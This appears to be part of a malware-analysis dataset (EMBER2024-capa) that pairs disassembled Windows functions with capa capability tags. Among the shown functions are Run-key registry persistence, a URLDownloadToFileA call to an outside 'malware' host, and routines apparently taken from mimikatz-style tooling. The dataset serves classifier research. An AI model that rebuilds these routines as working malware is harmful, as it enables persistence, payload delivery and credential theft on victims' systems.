joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000173f
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x1400017ec
lea rax, str.MalwareApp
mov qword [rbp - 0x10], rax
lea rax, str.C:Program_FilesMalwareAppmalwareapp.exe
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.strlen
lea ecx, [rax + 1]
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x10]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rbp - 0x18]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rcx, str.Registry_modified_successfully._n
call sym.printf
jmp 0x1400017f8
lea rcx, str.Failed_to_modify_registry._n
call sym.printf
nop
add rsp, 0x50
pop rbp
ret

Function at 0x1400017ff
Capabilities:
Download url
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.downloaded_malwarefile.txt
lea rdx, str.https:__finalexammalware.com_malwarefile.txt
mov ecx, 0
call sym.URLDownloadToFileA
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
js 0x140001845
lea rcx, str.File_downloaded_successfully._n
call sym.printf
jmp 0x140001851
lea rcx, str.Failed_to_download_file._n
call sym.printf
nop
add rsp, 0x40
pop rbp
ret

Function at 0x140001b70
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x140001be0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x14000c0a4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140001d90
mov rax, qword [0x14000c0a8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140001c2c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001cb7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x140001c10
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x140001ded
mov rax, qword [0x14000c0a8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x14000c0a8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001dd2
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001cb0
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001d40
add dword [0x14000c0a4], 1
cmp ebx, 8
jae 0x140001ce8
test bl, 4
jne 0x140001da0
test ebx, ebx
je 0x140001cd9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x140001dc0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x140001cd9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x140001d1a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x14000c0a8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001cb0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
xor edi, edi
jmp 0x140001c37
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x140001cd9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x140001cd9
mov rax, qword [0x14000c0a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop dword [rax]
Function at 0x140002300
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x14000c100]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000c0e0]
test rbx, rbx
je 0x140002354
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000234b
test r12, r12
je 0x14000234b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002330
lea rcx, [0x14000c100]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002580
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x140002590
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x1400025a0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x1400025e5
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x1400025dc
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x1400025e7
add rax, 0x28
cmp rax, r9
jne 0x1400025c8
xor eax, eax
ret

Function at 0x140002690
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x140009880]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x140002709
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140002709
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x140002706
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x1400026fd
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x140002709
add r8, 0x28
cmp r8, r9
jne 0x1400026e8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x1400027f0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140009880]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x14000285f
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x14000285f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x14000285d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002854
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002868
add rax, 0x28
cmp rax, r9
jne 0x140002840
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x140002880
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x140009880]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x1400028f8
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x1400028f8
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x1400028f8
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x1400028f8
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x1400028ec
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x140002900
add rdx, 0x28
cmp rdx, r10
jne 0x1400028d8
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x140002910
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x14000291e
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400028f5
test r8d, r8d
jg 0x140002908
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0x140001a1c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
xor r15d, r15d
mov r13, rdx
mov rbx, rcx
lea edx, [r15 + 0x41]
mov r14d, r9d
mov r12d, r8d
lea ecx, [rdx - 1]
mov esi, r15d
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
cmp rax, r15
je 0x140001b3f
lea ebp, [r15 + 7]
cmp r12d, ebp
jb 0x140001a7e
lea rcx, str.ERROR_kull_m_busylight_request_create___count_u__max_is_7__n
mov edx, r12d
call fcn.14000a838
cmp r12d, ebp
cmovb ebp, r12d
mov esi, 1
cmp ebp, r15d
jbe 0x140001aea
mov r8, rdi
lea r9, [rdi + 3]
lea rdx, [r13 + 1]
sub r8, r13
mov r10d, ebp
mov al, byte [rdx - 1]
movzx ecx, al
test al, 0xf0
jne 0x140001aaa
or ecx, 0x10
mov byte [r8 + rdx], cl
mov al, byte [rdx]
add rdx, 8
mov byte [r9 - 1], al
mov al, byte [rdx - 7]
mov byte [r9], al
mov al, byte [rdx - 6]
add r9, 8
sub r10, rsi
mov byte [r9 - 7], al
mov al, byte [rdx - 5]
mov byte [r9 - 6], al
mov al, byte [rdx - 4]
mov byte [r9 - 5], al
mov al, byte [rdx - 3]
mov byte [r9 - 4], al
mov al, byte [rdx - 2]
mov byte [r9 - 3], al
jne 0x140001a9d
mov r9d, 0xff
mov byte [rdi + 0x39], 4
mov byte [rdi + 0x3a], 4
mov byte [rdi + 0x3b], Ordinal_88
movzx ecx, r15w
lea rdx, [rdi + 1]
mov byte [rdi + 0x3e], r9b
mov byte [rdi + 0x3d], r9b
mov byte [rdi + 0x3c], r9b
mov r8d, 0x3e
movzx eax, byte [rdx]
add rdx, rsi
add cx, ax
sub r8, rsi
jne 0x140001b16
movzx eax, cx
shr ax, 8
mov byte [rdi + 0x3f], al
movzx eax, cx
cdq
and edx, r9d
add eax, edx
and eax, r9d
sub eax, edx
mov byte [rdi + 0x40], al
cmp esi, r15d
je 0x140001be9
jmp 0x140001bd7
mov ebp, r15d
cmp rbx, r15
je 0x140001bb9
mov rcx, qword [rbx + 0x78]
cmp rcx, r15
je 0x140001bb9
cmp rcx, 0xffffffffffffffff
je 0x140001bb9
movzx r9d, word [rbx + 0x2a]
mov r8d, Ordinal_69
cmp r9d, r8d
jb 0x140001ba8
lea r9, [rsp + 0x30]
mov rdx, rdi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ebp, eax
cmp eax, r15d
jne 0x140001bc8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [rbx + 8]
lea rcx, str.ERROR_kull_m_busylight_device_send_raw____device__u__WriteFile__0x_08x__n
mov r8d, eax
call fcn.14000a838
jmp 0x140001bc8
mov edx, dword [rbx + 8]
lea rcx, str.ERROR_kull_m_busylight_device_send_raw____device__u__Size_is_not_valide__siz___u__max___u__n
call fcn.14000a838
jmp 0x140001bc8
mov edx, dword [rbx + 8]
lea rcx, str.ERROR_kull_m_busylight_device_send_raw____device__u__Invalid_Device_Busy_Handle_n
call fcn.14000a838
and esi, ebp
cmp r14d, r15d
je 0x140001bd4
mov rbx, qword [rbx]
jmp 0x140001bd7
mov rbx, r15
cmp rbx, r15
jne 0x140001b4d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea r11, [rsp + 0x40]
mov eax, esi
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140001c0c
Capabilities:
Terminate thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov rdi, rcx
mov byte [rax + 8], 0
mov byte [rax + 9], 0
mov byte [rax + 0xa], 0
mov byte [rax + 0xb], 0
mov byte [rax + 0xc], 0
mov byte [rax + 0xd], 0
mov byte [rax + 0xe], 0
mov byte [rax + 0xf], 0x80
mov rbx, rcx
test rcx, rcx
je 0x140001c7c
mov rcx, qword [rbx + 0x98]
and dword [rbx + 0x90], 0
test rcx, rcx
je 0x140001c6c
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
and qword [rbx + 0x98], 0
test esi, esi
je 0x140001c75
mov rbx, qword [rbx]
jmp 0x140001c77
xor ebx, ebx
test rbx, rbx
jne 0x140001c49
lea rdx, [rsp + 0x30]
mov r9d, esi
mov r8d, 1
mov rcx, rdi
call fcn.140001a1c
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140002110
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x70
mov r12, rcx
mov edx, 0x338
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x1400022e1
and dword [rbx + 0x1c], 0
and dword [rbx + 0x20], 0
lea rbp, [rax + 8]
mov eax, 0x4000000
mov r8, r12
xor edx, edx
mov dword [rbp], eax
mov dword [rbx + 0xc], eax
mov eax, 0x2a
mov rcx, rbp
mov word [rbx + 0x28], ax
call fcn.140001f98
test eax, eax
je 0x1400022c3
mov edi, 0x100
lea rdx, [rbx + 0x22a]
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x1400022cf
mov rax, rdi
lea rcx, [rbx + 0x22a]
cmp byte [rcx], 0
je 0x1400021b1
inc rcx
sub rax, 1
jne 0x1400021a3
test rax, rax
je 0x1400022cf
mov rcx, rdi
mov r9d, 0
sub rcx, rax
sub rdi, rcx
lea rax, [rcx + rbx + 0x22a]
je 0x140002205
lea r8, [0x1400d2528]
lea rcx, [rdi + rcx + 0x7ffffeff]
sub r8, rax
test rcx, rcx
je 0x140002200
mov dl, byte [r8 + rax]
test dl, dl
je 0x140002200
mov byte [rax], dl
dec rcx
inc rax
sub rdi, 1
jne 0x1400021e5
test rdi, rdi
jne 0x14000220e
dec rax
mov r9d, 0x8007007a
mov byte [rax], 0
test r9d, r9d
js 0x1400022cf
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x58], rbp
lea rax, [0x140001ebc]
mov qword [rsp + 0x50], rax
lea rax, [0x140001e88]
lea r9, [0x140001d1c]
mov qword [rsp + 0x48], rax
lea rax, [0x140001e50]
lea r8, [0x140001d0c]
mov qword [rsp + 0x40], rax
lea rax, [fcn.140001e1c]
lea rdx, [fcn.14001984c]
mov qword [rsp + 0x38], rax
lea rax, [0x140001de4]
lea rcx, [rbx + 0x32c]
mov qword [rsp + 0x30], rax
lea rax, [0x140001dac]
mov qword [rsp + 0x28], rax
lea rax, [fcn.140001d24]
mov qword [rsp + 0x20], rax
call sub.Cabinet.dll_FCICreate
mov qword [rbx], rax
test rax, rax
jne 0x1400022e1
mov ecx, dword [rbx + 0x32c]
call fcn.140002094
mov edx, dword [rbx + 0x32c]
lea rcx, str.ERROR_kull_m_cabinet_create___FCICreate_failed_with_error_code__d:__S_n
mov r8, rax
call fcn.14000a838
jmp 0x1400022cf
lea rcx, str.ERROR_kull_m_cabinet_create___Failed_to_initialize_the_cabinet_information_structure._n
call fcn.14000a838
cmp qword [rbx], 0
jne 0x1400022e1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, rax
lea r11, [rsp + 0x70]
mov rax, rbx
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r12
ret
Function at 0x14000397c
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x50
xor ebx, ebx
mov r12, r9
mov esi, r8d
mov rbp, rdx
mov edi, ecx
cmp ecx, 0x8000
jne 0x140003a18
cmp dword [rsp + 0x90], 4
jne 0x140003b0b
lea rdx, [rsp + 0x30]
mov ecx, 0xffffff7c
call sub.cryptdll.dll_CDLocateCheckSum
cmp eax, ebx
jl 0x140003b0b
mov rax, qword [rsp + 0x30]
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [rax + 0x10]
cmp eax, ebx
jl 0x140003b0b
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
mov r8, rbp
mov edx, esi
call qword [rax + Ordinal_26]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
mov rdx, r12
call qword [rax + 0x20]
lea rcx, [rsp + 0x40]
cmp eax, ebx
mov rax, qword [rsp + 0x30]
setge bl
call qword [rax + Ordinal_41]
jmp 0x140003b0b
lea rcx, [rsp + 0x48]
mov r9d, Ordinal_27
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
cmp eax, ebx
je 0x140003b0b
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x38]
xor r9d, r9d
xor r8d, r8d
mov edx, edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
cmp eax, ebx
je 0x140003afe
mov rcx, qword [rsp + 0x38]
xor r9d, r9d
mov r8d, esi
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
cmp eax, ebx
je 0x140003af3
mov rcx, qword [rsp + 0x38]
xor r8d, r8d
lea r9, [rsp + 0x70]
lea esi, [r8 + 2]
mov dword [rsp + 0x20], ebx
mov edx, esi
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
cmp eax, ebx
je 0x140003af3
mov edx, dword [rsp + 0x70]
lea ecx, [rsi + 0x3e]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
cmp rax, rbx
je 0x140003af3
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x70]
mov r8, rax
mov edx, esi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov ecx, dword [rsp + 0x90]
mov rdx, rdi
cmp dword [rsp + 0x70], ecx
mov ebx, eax
cmovb ecx, dword [rsp + 0x70]
mov r8d, ecx
mov rcx, r12
call sub.msvcrt.dll_memcpy
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea r11, [rsp + 0x50]
mov eax, ebx
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x140003b24
Capabilities:
Encrypt data using des via winapi

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x30
mov r14, rcx
mov esi, r9d
mov ecx, 0x6603
xor ebx, ebx
mov r12, r8
mov r13d, edx
lea ebp, [rsi + 0xc]
cmp edx, ecx
je 0x140003bc4
lea ecx, [rbx + 0x40]
mov edx, ebp
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
cmp rax, rbx
je 0x140003bf2
lea rcx, [rax + 0xc]
mov r8, rsi
mov rdx, r12
mov byte [rax], 8
mov byte [rax + 1], 2
mov word [rax + 2], bx
mov dword [rax + 4], r13d
mov dword [rax + 8], esi
call sub.msvcrt.dll_memcpy
mov r11, qword [rsp + 0x78]
mov eax, dword [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x28], r11
mov r8d, ebp
mov rdx, rdi
mov rcx, r14
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140003bf2
mov rax, qword [rsp + 0x80]
cmp rax, rbx
je 0x140003bf2
mov r9d, dword [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x78]
mov r8d, esi
mov rdx, r12
mov qword [rsp + 0x20], rax
call fcn.140004710
mov ebx, eax
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop r14
pop r13
pop r12
ret

Function at 0x140003c14
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r12
push r13
push r14
sub rsp, 0x150
xor edi, edi
cmp r8d, dword [rsp + 0x190]
mov r12, r9
setae dil
mov ebx, r8d
mov rsi, rdx
mov r13d, ecx
test edi, edi
je 0x140003c5e
mov r8d, dword [rsp + 0x190]
mov rcx, r9
jmp 0x140003d10
mov r14d, Ordinal_69
lea rcx, [rsp + 0x70]
lea edx, [r14 - 0xa]
mov r8, r14
call sub.msvcrt.dll_memset
lea edx, [r14 + 0x1c]
lea rcx, [rsp + 0x30]
mov r8, r14
call sub.msvcrt.dll_memset
test ebx, ebx
je 0x140003cae
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x30]
mov r8, rbx
sub rcx, rsi
sub rdx, rsi
mov al, byte [rsi]
xor byte [rcx + rsi], al
xor byte [rdx + rsi], al
inc rsi
sub r8, 1
jne 0x140003c9d
lea r9, [rsp + 0xb0]
lea rdx, [rsp + 0x70]
mov r8d, r14d
mov ecx, r13d
mov dword [rsp + 0x20], ebx
call fcn.14000397c
test eax, eax
je 0x140003d15
lea r9, [rsp + rbx + 0xb0]
lea rdx, [rsp + 0x30]
mov r8d, r14d
mov ecx, r13d
mov dword [rsp + 0x20], ebx
call fcn.14000397c
mov edi, eax
test eax, eax
je 0x140003d15
lea ecx, [rbx + rbx]
lea rdx, [rsp + 0xb0]
cmp dword [rsp + 0x190], ecx
cmovb ecx, dword [rsp + 0x190]
mov r8d, ecx
mov rcx, r12
call sub.msvcrt.dll_memcpy
lea r11, [rsp + 0x150]
mov eax, edi
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop r13
pop r12
ret
Function at 0x140003e18
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x80
xor ebx, ebx
mov rbp, r9
mov dword [rax - 0x30], ecx
mov edi, r8d
mov rsi, rdx
lea rcx, [rax - 0x40]
lea r9d, [rbx + 0x18]
xor r8d, r8d
xor edx, edx
mov qword [rax - 0x28], rbx
mov dword [rax - 0x20], ebx
mov qword [rax - 0x18], rbx
mov dword [rax - 0x10], ebx
mov dword [rax - 0x68], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
cmp eax, ebx
je 0x140003fb8
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
mov r9d, edi
mov r8, rsi
mov edx, 0x6602
mov dword [rsp + 0x20], 0x100
call fcn.140003b24
cmp eax, ebx
je 0x140003fab
mov r8, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x40]
xor r9d, r9d
mov edx, 0x8009
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
cmp eax, ebx
je 0x140003fa0
mov rcx, qword [rsp + 0x40]
lea r8, [rsp + 0x58]
lea edx, [rbx + 5]
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_CryptSetHashParam]
cmp eax, ebx
je 0x140003f95
mov r8d, dword [rsp + 0xb0]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
cmp eax, ebx
je 0x140003f95
mov rcx, qword [rsp + 0x40]
lea esi, [rbx + 2]
lea r9, [rsp + 0x90]
mov edx, esi
xor r8d, r8d
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
cmp eax, ebx
je 0x140003f95
mov edx, dword [rsp + 0x90]
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
cmp rax, rbx
je 0x140003f95
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x90]
mov r8, rax
mov edx, esi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov ecx, dword [rsp + 0xc0]
mov rdx, rdi
cmp dword [rsp + 0x90], ecx
mov ebx, eax
cmovb ecx, dword [rsp + 0x90]
mov r8d, ecx
mov rcx, qword [rsp + 0xb8]
call sub.msvcrt.dll_memcpy
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea r11, [rsp + 0x80]
mov eax, ebx
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret